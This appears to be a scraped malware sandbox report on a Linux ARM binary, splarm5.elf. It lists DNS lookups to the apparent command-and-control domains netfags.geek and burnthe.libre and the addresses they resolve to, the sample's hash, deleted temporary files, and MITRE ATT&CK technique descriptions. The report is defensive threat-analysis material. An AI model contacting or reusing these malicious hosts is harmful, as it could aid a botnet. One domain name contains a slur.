GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 26, 2024 23:51:56.844132900 CET	192.168.2.15	51.158.108.203	0x9d93	Standard query (0)	netfags.geek	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:51:58.343307972 CET	192.168.2.15	51.158.108.203	0x98b5	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:52:10.115732908 CET	192.168.2.15	168.235.111.72	0x5390	Standard query (0)	netfags.geek. [malformed]	256	282	false
Nov 26, 2024 23:52:22.593756914 CET	192.168.2.15	168.235.111.72	0x7ab	Standard query (0)	netfags.geek. [malformed]	256	294	false
Nov 26, 2024 23:52:35.109525919 CET	192.168.2.15	51.158.108.203	0xbba6	Standard query (0)	netfags.geek. [malformed]	256	307	false
Nov 26, 2024 23:52:47.553652048 CET	192.168.2.15	81.169.136.222	0x272e	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:00.035223007 CET	192.168.2.15	81.169.136.222	0xac85	Standard query (0)	netfags.geek. [malformed]	256	332	false
Nov 26, 2024 23:53:12.443414927 CET	192.168.2.15	185.181.61.24	0xa12e	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:24.907531023 CET	192.168.2.15	202.61.197.122	0xe72c	Standard query (0)	netfags.geek. [malformed]	256	357	false
Nov 26, 2024 23:53:37.346651077 CET	192.168.2.15	51.158.108.203	0xecd3	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:49.816097975 CET	192.168.2.15	194.36.144.87	0xaa3f	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 26, 2024 23:51:57.085180998 CET	51.158.108.203	192.168.2.15	0x9d93	No error (0)	netfags.geek		154.213.187.247	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:51:57.085180998 CET	51.158.108.203	192.168.2.15	0x9d93	No error (0)	netfags.geek		154.213.187.213	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:51:57.085180998 CET	51.158.108.203	192.168.2.15	0x9d93	No error (0)	netfags.geek		154.213.187.249	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:51:57.085180998 CET	51.158.108.203	192.168.2.15	0x9d93	No error (0)	netfags.geek		154.213.187.245	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:51:57.085180998 CET	51.158.108.203	192.168.2.15	0x9d93	No error (0)	netfags.geek		154.213.187.248	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:51:57.085180998 CET	51.158.108.203	192.168.2.15	0x9d93	No error (0)	netfags.geek		154.213.187.242	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:51:57.085180998 CET	51.158.108.203	192.168.2.15	0x9d93	No error (0)	netfags.geek		154.213.187.214	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:51:58.582792997 CET	51.158.108.203	192.168.2.15	0x98b5	No error (0)	burnthe.libre		154.213.187.213	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:51:58.582792997 CET	51.158.108.203	192.168.2.15	0x98b5	No error (0)	burnthe.libre		154.213.187.248	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:51:58.582792997 CET	51.158.108.203	192.168.2.15	0x98b5	No error (0)	burnthe.libre		154.213.187.245	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:51:58.582792997 CET	51.158.108.203	192.168.2.15	0x98b5	No error (0)	burnthe.libre		154.213.187.249	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:51:58.582792997 CET	51.158.108.203	192.168.2.15	0x98b5	No error (0)	burnthe.libre		154.213.187.214	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:51:58.582792997 CET	51.158.108.203	192.168.2.15	0x98b5	No error (0)	burnthe.libre		154.213.187.247	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:51:58.582792997 CET	51.158.108.203	192.168.2.15	0x98b5	No error (0)	burnthe.libre		154.213.187.242	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:52:35.348803043 CET	51.158.108.203	192.168.2.15	0xbba6	Format error (1)	netfags.geek. [malformed]	none	none	256	307	false
Nov 26, 2024 23:52:47.794054985 CET	81.169.136.222	192.168.2.15	0x272e	No error (0)	burnthe.libre		154.213.187.247	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:52:47.794054985 CET	81.169.136.222	192.168.2.15	0x272e	No error (0)	burnthe.libre		154.213.187.248	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:52:47.794054985 CET	81.169.136.222	192.168.2.15	0x272e	No error (0)	burnthe.libre		154.213.187.214	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:52:47.794054985 CET	81.169.136.222	192.168.2.15	0x272e	No error (0)	burnthe.libre		154.213.187.245	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:52:47.794054985 CET	81.169.136.222	192.168.2.15	0x272e	No error (0)	burnthe.libre		154.213.187.242	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:52:47.794054985 CET	81.169.136.222	192.168.2.15	0x272e	No error (0)	burnthe.libre		154.213.187.213	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:52:47.794054985 CET	81.169.136.222	192.168.2.15	0x272e	No error (0)	burnthe.libre		154.213.187.249	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:12.701965094 CET	185.181.61.24	192.168.2.15	0xa12e	No error (0)	burnthe.libre		154.213.187.248	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:12.701965094 CET	185.181.61.24	192.168.2.15	0xa12e	No error (0)	burnthe.libre		154.213.187.247	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:12.701965094 CET	185.181.61.24	192.168.2.15	0xa12e	No error (0)	burnthe.libre		154.213.187.213	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:12.701965094 CET	185.181.61.24	192.168.2.15	0xa12e	No error (0)	burnthe.libre		154.213.187.249	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:12.701965094 CET	185.181.61.24	192.168.2.15	0xa12e	No error (0)	burnthe.libre		154.213.187.214	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:12.701965094 CET	185.181.61.24	192.168.2.15	0xa12e	No error (0)	burnthe.libre		154.213.187.245	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:12.701965094 CET	185.181.61.24	192.168.2.15	0xa12e	No error (0)	burnthe.libre		154.213.187.242	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:37.587236881 CET	51.158.108.203	192.168.2.15	0xecd3	No error (0)	burnthe.libre		154.213.187.249	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:37.587236881 CET	51.158.108.203	192.168.2.15	0xecd3	No error (0)	burnthe.libre		154.213.187.214	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:37.587236881 CET	51.158.108.203	192.168.2.15	0xecd3	No error (0)	burnthe.libre		154.213.187.247	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:37.587236881 CET	51.158.108.203	192.168.2.15	0xecd3	No error (0)	burnthe.libre		154.213.187.242	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:37.587236881 CET	51.158.108.203	192.168.2.15	0xecd3	No error (0)	burnthe.libre		154.213.187.213	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:37.587236881 CET	51.158.108.203	192.168.2.15	0xecd3	No error (0)	burnthe.libre		154.213.187.248	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:37.587236881 CET	51.158.108.203	192.168.2.15	0xecd3	No error (0)	burnthe.libre		154.213.187.245	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:50.072601080 CET	194.36.144.87	192.168.2.15	0xaa3f	No error (0)	burnthe.libre		154.213.187.247	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:50.072601080 CET	194.36.144.87	192.168.2.15	0xaa3f	No error (0)	burnthe.libre		154.213.187.242	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:50.072601080 CET	194.36.144.87	192.168.2.15	0xaa3f	No error (0)	burnthe.libre		154.213.187.249	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:50.072601080 CET	194.36.144.87	192.168.2.15	0xaa3f	No error (0)	burnthe.libre		154.213.187.214	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:50.072601080 CET	194.36.144.87	192.168.2.15	0xaa3f	No error (0)	burnthe.libre		154.213.187.248	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:50.072601080 CET	194.36.144.87	192.168.2.15	0xaa3f	No error (0)	burnthe.libre		154.213.187.245	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:53:50.072601080 CET	194.36.144.87	192.168.2.15	0xaa3f	No error (0)	burnthe.libre		154.213.187.213	A (IP address)	IN (0x0001)	false

Start time (UTC):	22:51:54
Start date (UTC):	26/11/2024
Path:	/tmp/splarm5.elf
Arguments:	/tmp/splarm5.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	22:51:55
Start date (UTC):	26/11/2024
Path:	/tmp/splarm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report splarm5.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0OvRtD (deleted)

/tmp/qemu-open.0qDVqE (deleted)

/tmp/qemu-open.1DRFTC (deleted)

/tmp/qemu-open.1KNhwF (deleted)

/tmp/qemu-open.3PAjzE (deleted)

/tmp/qemu-open.3QScZE (deleted)

/tmp/qemu-open.4uSb6D (deleted)

/tmp/qemu-open.5xgWTD (deleted)

/tmp/qemu-open.6csosC (deleted)

/tmp/qemu-open.953oiG (deleted)

/tmp/qemu-open.9O0X8F (deleted)

/tmp/qemu-open.A3ldBF (deleted)

/tmp/qemu-open.Agx2eE (deleted)

/tmp/qemu-open.DA2MYD (deleted)

/tmp/qemu-open.DvVFBE (deleted)

/tmp/qemu-open.Ek0eTG (deleted)

/tmp/qemu-open.FFylLE (deleted)

/tmp/qemu-open.FqJhbF (deleted)

/tmp/qemu-open.HMCDPF (deleted)

/tmp/qemu-open.I1ZKdF (deleted)

/tmp/qemu-open.JU3D4D (deleted)

/tmp/qemu-open.JU3QOG (deleted)

/tmp/qemu-open.Kwk7lF (deleted)

/tmp/qemu-open.L3xhUC (deleted)

/tmp/qemu-open.M6VCwF (deleted)

/tmp/qemu-open.MBG2OC (deleted)

/tmp/qemu-open.MD6K4F (deleted)

/tmp/qemu-open.MJWYkF (deleted)

/tmp/qemu-open.MJwH3C (deleted)

/tmp/qemu-open.NuVrqC (deleted)

/tmp/qemu-open.OJtaJG (deleted)

/tmp/qemu-open.PiYwhF (deleted)

Linux Analysis Report
splarm5.elf

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre